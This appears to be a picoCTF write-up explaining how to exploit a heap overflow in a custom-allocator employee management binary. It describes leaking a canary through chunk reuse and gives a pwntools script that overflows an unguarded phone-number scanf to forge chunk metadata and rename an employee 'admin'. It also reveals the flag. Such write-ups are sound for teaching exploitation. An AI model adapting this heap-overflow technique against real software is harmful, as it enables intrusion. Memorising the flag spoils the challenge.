Description
A custom employee management binary uses its own malloc with canaries. Exploit a heap overflow to rename an employee to 'admin' and get the flag.
Setup
Download the binary and make it executable.
wget <url>/officechmod +x officeSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Reverse engineer the binary structure
ObservationThe binary uses a custom allocator with internal canaries, and an admin check that prints the flag. So map the exact struct layout and find the unbounded input field before attempting any overflow.Load in Ghidra or IDA. The binary manages an array of 10 employees, each with fields at specific offsets: name at offset 0, email at offset 16, salary at offset 20, phone number at offset 24, building at offset 36. The 'get access token' menu option prints the flag if the employee name is 'admin'. The phone number input uses an unguarded %s scan that can overflow the buffer.bashghidra officebash# Identify: add_employee, free_employee, get_token, heap_check functionsWhat didn't work first
Tried: Running 'strings office' to find the flag or identify key functions
strings shows printable literals, but function names in a stripped binary are symbol table entries, not plain strings, and those may be gone. You get format strings and menu text, nowhere near enough to reconstruct the heap layout or the overflow offset. Ghidra's decompiler is what traces the scanf call site and measures the distance from the phone field to the next struct.
Tried: Using 'ltrace ./office' to observe library calls instead of static reversing
ltrace intercepts glibc calls like malloc and free, but this binary allocates internally through its own allocator and never touches glibc malloc. ltrace shows nothing about the heap layout, and the canary generation stays invisible without reading heap_check and the allocator routines in Ghidra.
Learn more
The binary has a custom allocator with canaries inserted at the end of each chunk. The
heap_checkfunction (always called with 0) has debug printing available when called with 1 - patching the argument reveals heap layout details useful for computing the canary position.Key observation: the phone number field is read with an unguarded
scanf("%s"), making it the overflow vector. Name and email use bounded reads.Step 2Leak the heap canary via building number
ObservationThe allocator puts a canary at the end of each chunk, and heap_check aborts on any mismatch. So the live canary has to be leaked first, by engineering an allocation overlap that exposes it through a readable field such as the building number.Allocate an employee with a 28-character email (making the email chunk size 36). Delete that employee. Now allocate two new employees without email addresses. The second allocation reuses the old 36-byte chunk. When listing employees, the building number field of the second employee now contains the heap canary from that chunk.Learn more
The email field allocation is 28 bytes plus overhead, making a 36-byte chunk. After freeing and reallocating two overlapping employees, the canary at the end of that 36-byte region falls at offset 36 within the second employee struct (exactly where building number is stored). Listing employees reveals the canary in plain text.
Step 3Overflow the phone number to overwrite the adjacent employee's name
ObservationThe phone number field uses an unguarded scanf("%s") and sits 28 bytes from the canary boundary, and the live canary is now known. So build a payload that fills those 28 bytes, forges the canary and the 0x35 allocated-chunk markers, and drops 'admin' exactly at the adjacent employee's name offset.Delete the first employee, then re-add them. The phone number overflow from this employee can reach into the second employee's struct. Craft a payload that: fills 28 bytes to reach the end of the first block, overwrites the canary (you know it from step 2), overwrites the two chunk metadata fields with 0x35 (the allocated-chunk marker in this custom allocator; 0x34 would mark the chunk as freed and break the exploit), and places 'admin' as the next employee's name.pythonpython3 << 'EOF' from pwn import * p = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) def add(name, email=None, phone=None, building=None): p.sendlineafter(b"choice:", b"1") p.sendlineafter(b"name:", name) if email: p.sendlineafter(b"email? (y/n)", b"y") p.sendlineafter(b"email:", email) else: p.sendlineafter(b"email? (y/n)", b"n") p.sendlineafter(b"phone:", phone or b"0") if building: p.sendlineafter(b"building? (y/n)", b"y") p.sendlineafter(b"building:", building) else: p.sendlineafter(b"building? (y/n)", b"n") def remove(idx): p.sendlineafter(b"choice:", b"2") p.sendlineafter(b"employee #:", str(idx).encode()) def list_employees(): p.sendlineafter(b"choice:", b"3") return p.recvuntil(b"0. Exit") def get_token(idx): p.sendlineafter(b"choice:", b"4") p.sendlineafter(b"employee #:", str(idx).encode()) return p.recvline() # Step 1: create employee with 28-char email to get 36-byte chunk, then delete add(b"alice", email=b"A" * 28, phone=b"1234567890") remove(0) # Step 2: add two employees without emails; second reuses the 36-byte chunk add(b"bob", phone=b"0") add(b"charlie", phone=b"0") # Step 3: list employees to read the canary from charlie's building field out = list_employees() # Parse canary from building field (implement based on actual output format) canary = ... # extract from out # Step 4: remove bob, re-add with overflowing phone remove(0) payload = b"A" * 28 + canary + p32(0x35) + p32(0x35) + b"admin " add(b"dave", phone=payload) # Step 5: get access token for the employee now named "admin" print(get_token(1)) EOFWhat didn't work first
Tried: Using p32(0x34) instead of p32(0x35) for the chunk metadata fields in the overflow payload
0x34 is this allocator's free-chunk marker. Write it and heap_check, which runs on every menu action, treats the chunk as deallocated and aborts or corrupts before the access token call can land. 0x35 marks the chunk allocated, so the allocator leaves it alone through the following integrity checks.
Tried: Skipping the canary leak step and zeroing the canary bytes in the payload
heap_check runs after every menu action and aborts if the canary does not match what was stored at chunk creation. That canary is a random 4-byte value picked at startup, so zeroing it fails on the very next check. The overlap technique from step 2 is what reads the exact live value before you craft the overflow.
Learn more
The overflow chain: phone number buffer at offset 24 within the first employee chunk (size 52). Writing 52 - 24 = 28 bytes reaches the canary. Then overwrite the canary (known), previous size and current size fields, and finally land on the adjacent employee's name field with the string "admin".
Once an employee's name is "admin", selecting "get access token" for that employee prints the flag.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{cb3b0507a278ae12d2465d4c8ee30f31}
Heap overflow via phone number field after leaking the custom allocator canary to rename an employee to 'admin'.